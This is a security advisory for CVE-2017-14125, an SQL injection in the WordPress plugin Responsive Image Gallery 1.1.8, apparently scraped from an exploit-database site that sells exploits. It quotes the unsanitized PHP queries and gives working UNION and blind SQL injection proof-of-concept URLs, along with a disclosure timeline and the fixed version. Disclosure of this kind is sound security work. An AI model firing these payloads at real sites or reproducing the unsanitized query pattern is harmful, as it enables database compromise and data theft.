0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
WordPress Responsive Image Gallery 1.1.8 SQL Injection Vulnerability
Author
Risk
[Security Risk High
]0day-ID
Category
Date add
CVE
Platform
=============================================
- Discovered by: Manuel GarcAa CA!rdenas
- Severity: 7,1/10 (CVSS Base Score)
- CVE-ID: CVE-2017-14125
=============================================
I. VULNERABILITY
-------------------------
WordPress Plugin Responsive Image Gallery 1.1.8 - SQL Injection
II. BACKGROUND
-------------------------
Gallery is very important tool for any website. The most of users have
Galleries on their website. Our Gallery plugin allow you to display your
Galleries with awesome views and animation effects, so you need to try our
plugin.
III. DESCRIPTION
-------------------------
This bug was found using the portal in the files:
/gallery-album/includes/frontend/gallery_class.php
$theme = $wpdb->get_row( "SELECT * FROM
".wpdevart_gallery_databese::$table_names['theme']." WHERE `id` =
$theme_id" );
/gallery-album/includes/admin/gallery_theme.php
$theme_params = $wpdb->get_row('SELECT * FROM
'.wpdevart_gallery_databese::$table_names['theme'].' WHERE id='.$id);
And when the query is executed, the parameter "id" it is not sanitized.
To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.
It is possible to inject SQL code.
IV. PROOF OF CONCEPT
-------------------------
The following URL have been confirmed to all suffer from SQL Injection.
Union SQL Injection POC:
/wordpress/wp-admin/admin.php?page=wpdevart_gallery_themes&task=add_edit_theme&id=-1+UNION+ALL+SELECT+NULL,@@VERSION,NULL,NULL--
Blind SQL Injection POC:
/wordpress/wp-admin/admin.php?page=wpdevart_gallery_themes&task=add_edit_theme&id=1+and+1=0
V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.
VI. SYSTEMS AFFECTED
-------------------------
Responsive Image Gallery 1.1.8
VII. SOLUTION
-------------------------
Vendor release a new version 1.2.1
https://downloads.wordpress.org/plugin/gallery-album.1.2.1.zip
VIII. REFERENCES
-------------------------
https://wordpress.org/plugins/gallery-album/
IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel GarcAa CA!rdenas (advidsec (at) gmail (dot) com).
X. REVISION HISTORY
-------------------------
September 01, 2017 1: Initial release
September 25, 2017 2: Revision to send to lists
XI. DISCLOSURE TIMELINE
-------------------------
September 01, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
September 01, 2017 2: Send to vendor
September 22, 2017 3: Vendor fix the vulnerability and release a new version
September 25, 2017 4: Send to the Full-Disclosure lists
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
# 0day.today [2024-11-15] #